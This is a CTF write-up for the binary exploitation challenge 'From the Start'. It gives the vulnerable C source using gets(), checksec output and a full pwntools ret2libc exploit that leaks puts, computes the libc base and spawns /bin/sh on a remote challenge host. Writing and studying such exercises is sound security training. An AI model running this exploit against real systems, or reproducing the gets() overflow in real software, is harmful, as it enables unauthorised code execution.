From the Start
Binary Exploitation
My blog has migrated to https://wintertia.pages.dev/ ! This Gitbook will no longer be maintained.
This challenge was nice enough to give source code!
#include <stdio.h>
__attribute__((constructor)) void init(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
}
__attribute__((naked)) void helper(){
    __asm__(
        "pop %rdi\nret\n"
        "pop %rsi\nret\n"
        "pop %rdx\nret\n"
    );
}
int main(){
    init();
    char mem[0x100];
    puts("pwning from the start okay?");
    gets(mem);
    return 0;
}$ checksec chall
[*] './chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   NoNo protections all over, given free gadgets, and in the dist we are also given the Dockerfile so I could easily just grab the libc, this makes a ret2libc attack way easier to do.
The plan is now as follows:
- Buffer overflow using insecure - getsand take over RIP
- Leak libc somehow 
- Ret2libc 
RIP offset was found at 264 bytes, so now the next thing to do is to leak libc. Given the GOT Entry for puts, I can easily leak it to find offset of libc.
After that, just hook everything up to a classic ret2libc payload and get flag! This image below is using local solve:

Here is the full script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# -*- template: wintertia -*-
# ====================
# -- PWNTOOLS SETUP --
# ====================
from pwn import *
exe = context.binary = ELF(args.EXE or 'chall_patched')
context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = 'debug'
host = args.HOST or '117.53.46.98'
port = int(args.PORT or 10000)
def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak main
b *main+65
continue
'''.format(**locals())
# =======================
# -- EXPLOIT GOES HERE --
# =======================
io = start()
libc = ELF('./libc.so.6', checksec=False)
OFFSET = 264
POP_RDI = 0x00000000004011ad
POP_RSI = 0x00000000004011af
POP_RDX = 0x00000000004011b1
RET = 0x000000000040101a
payload = flat(
    cyclic(OFFSET, n=8),
    POP_RDI,
    exe.got['puts'],
    exe.plt['puts'],
    exe.sym['main'],
)
io.sendlineafter('?', payload)
io.recvuntil(b'\n')
leak = unpack(io.recv(6).ljust(8, b'\x00'))
log.info(f'Leaked puts address: {hex(leak)}')
libc.address = leak - libc.sym['puts']
BINSH = libc.search(b'/bin/sh').__next__()
SYSTEM = libc.sym['system']
log.info(f'Libc base address: {hex(libc.address)}')
payload = flat(
    cyclic(OFFSET, n=8),
    POP_RDI,
    BINSH,
    RET,
    SYSTEM,
)
io.sendlineafter('?', payload)
io.interactive()Last updated
